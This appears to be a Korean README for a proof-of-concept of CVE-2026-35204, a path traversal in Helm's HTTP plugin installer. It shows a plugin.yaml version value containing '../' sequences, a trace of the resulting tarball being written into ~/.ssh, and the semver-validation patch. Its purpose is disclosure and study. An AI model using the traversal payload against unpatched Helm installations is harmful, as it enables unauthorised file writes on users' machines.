
Helm 플러그인 설치에서 경로 탐색 취약점(CVE-2026-35204)을 시연하는 개념 증명으로, 조작된 플러그인 메타데이터를 통해 임의의 파일 쓰기를 가능하게 합니다.
이 저장소는 CVE-2026-35204에 대한 PoC를 나타냅니다.
"Helm은 Kubernetes용 Chart 패키지 관리자입니다. 4.0.0부터 4.1.3까지, 특수하게 조작된 Helm 플러그인을 설치하거나 업데이트할 때 Helm이 플러그인의 내용을 임의의 파일 시스템 위치에 쓰도록 합니다. 이를 방지하려면 Helm 플러그인의 plugin.yaml에 POSIX 점-점 경로 구분자, 즉 "/../"를 포함하는 version: 필드가 없는지 검증해야 합니다. 이 취약점은 4.1.4에서 수정되었습니다."
이 PoC는 metadata.Version이 플러그인 아카이브의 경로를 구성하는 데 사용되어 경로 순회가 가능하고 다운로드된 plugin.tgz를 의도된 플러그인 디렉터리 외부에 쓸 수 있음을 보여줍니다. 플러그인 내용은 설치되기 전에 여전히 지정된 캐시 디렉터리에 추출되므로, 이 PoC는 임의 추출이나 임의 호스트 파일 덮어쓰기를 보여주지 않습니다.
취약점은 CWE-22 - 경로명의 제한된 디렉터리 제한 부적절함('경로 순회')으로 분류됩니다.
Helm 플러그인 설치 프로그램은 네 가지 구현(HTTP, local, VCS, OCI)을 가진 인터페이스를 가지고 있습니다. 이 PoC는 HTTP 설치 프로그램에 초점을 맞춥니다. HTTP/OCI 설치 프로그램과 달리, VCS 설치 프로그램은 metadata.Version으로부터 tarball 경로를 전혀 구성하지 않습니다. 다음은 tarballPath를 준비하는 코드 블록입니다:
filename := fmt.Sprintf("%s-%s.tgz", metadata.Name, metadata.Version)
tarballPath := helmpath.DataPath("plugins", filename)
여기서 metadata.Version은 plugin.yaml에서 우리가 제어하는 변수입니다. 취약점을 트리거하려면 조작된 플러그인을 .tgz 아카이브로 패키징해야 합니다. 그 이유는 해당 metadata.Version이 plugin.ExtractTgzPluginMetadata에 의해 추출되고 HTTP/OCI/local 설치 프로그램을 통해 다운로드되기 때문입니다. 따라서 경로 순회를 달성하기 위해 웹 서버가 제공하는 아카이브로 플러그인을 가져오는 http_installer를 사용할 수 있습니다.
아래 예에서 helm 바이너리는 로깅 메시지를 활성화하도록 수동으로 다시 빌드되었으며, 여기서 두 가지 다른 데이터 흐름을 관찰할 수 있습니다. 첫 번째는 올바른 버전 이름으로 플러그인을 설치한 것입니다. 두 번째는 버전 이름에 점-점 경로 구분자가 있는 플러그인 설치입니다:
./helm plugin install http://0.0.0.0:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-2.2.2.tgz
tarballPath -> /home/s0m3body/.local/share/helm/plugins/evil-2.2.2.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-0.0.0.0-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
./helm plugin install http://127.0.0.1:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-../../../../../../.ssh/pwn3d.tgz
tarballPath -> /home/s0m3body/.ssh/pwn3d.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-127.0.0.1-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
런타임 추적은 경로 순회가 다운로드된 플러그인 아카이브가 배치되는 위치, 즉 기본적으로 HELM_PLUGINS 환경 변수에만 영향을 미친다는 것을 보여줍니다. 캐시(i.CacheDir)와 최종 추출(i.Path())은 변경되지 않습니다. 이를 염두에 두고, 임시 아카이브 대상과 이름을 조작하여 파일 쓰기를 유발할 수 있습니다.
취약점을 트리거하기 위해 아무것도 실행하거나 설치 후 웹훅을 사용할 필요가 없습니다. 단순한 플러그인 설치만으로 충분합니다.
HTTP 설치 프로그램을 분석하는 동안, 아카이브 추출은 i.CacheDir로 발생하고, 설치(fs.CopyDir)는 i.CacheDir에서 i.Path()로 파일을 복사한다는 것을 관찰했습니다. 순회의 영향을 받는 tarballPath가 아카이브 내용에 영향을 미치는 코드 경로를 찾지 못했습니다. 따라서 분석된 런타임 추적에 기반하면, 아카이브 추출 대상은 순회로 제어되는 tarballPath와 독립적입니다.
권고문은 설치와 업데이트를 모두 언급합니다. HTTP/local/VCS 설치 프로그램의 경우 Update()가 구현되지 않았습니다. OCI 설치 프로그램은 이전 플러그인을 제거한 후 Install()을 호출하여 업데이트를 구현합니다.
다음은 HTTP 설치 프로그램의 Update() 메서드입니다:
func (i *HTTPInstaller) Update() error {
return fmt.Errorf("method Update() not implemented for HttpInstaller")
}
취약점을 완화하기 위해 isValidSemver 함수가 추가되었으며, 이는 이제 metadata.go 내부의 Validate()가 호출될 때 호출됩니다.
"github.com/Masterminds/semver/v3"
func isValidSemver(v string) bool {
_, err := semver.NewVersion(v)
return err == nil
}
if m.Version != "" && !isValidSemver(m.Version) {
errs = append(errs, fmt.Errorf("invalid plugin version %q: must be valid semver", m.Version))
}
보시다시피, 버전이 유효한 semver가 아니면(그리고 ../../../../는 아닙니다), 악성 helm 플러그인 설치 과정에서 오류를 받게 됩니다.
PoC를 실행하려면 scripts/pos.sh 스크립트를 사용할 수 있습니다:
./scripts/poc.sh
그러면 다음과 같은 결과가 나옵니다:

MIT